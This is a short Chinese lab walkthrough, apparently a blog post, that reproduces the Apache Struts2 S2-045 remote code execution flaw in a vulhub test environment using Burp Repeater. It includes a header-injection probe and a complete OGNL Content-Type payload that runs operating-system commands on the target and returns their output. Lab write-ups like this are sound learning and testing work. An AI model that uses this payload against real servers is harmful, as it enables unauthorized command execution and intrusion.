1.漏洞网址
https://vulhub.org/#/environments/struts2/s2-045/
2.漏洞描述
可以使用恶意值执行 RCE 攻击。如果该值无效,则会引发异常,然后使用该异常向用户显示错误消息。Content-Type``Content-Type
3.受影响的版本
Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10
4.靶场搭建



5.将bp中的数据包发送到的repeter


6.在repeater模块修改数据包,验证是否存在RCE 漏

Content-Type:
% {#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)} 是一个 OGNL 表达式,用于修改当前请求的 HttpServletResponse 对象的响应头。通过调用 addHeader 方法,它将设置一个新的响应头字段,名称为 "vulhub",值为 "54289"。
.multipart/form-data 是指定请求的 Content-Type 类型为 multipart/form-data,表示请求是一个多部分表单数据。

7.经过上述步骤说明存在RCE漏洞,在Content-type 那里输入下述代码,获得目标信息
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ip a').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
8.出现root则表示执行成功。

9/出现ip表示执行成功

9/出现ip表示执行成功
[外链图片转存中…(img-r2CRZuMV-1694240577132)]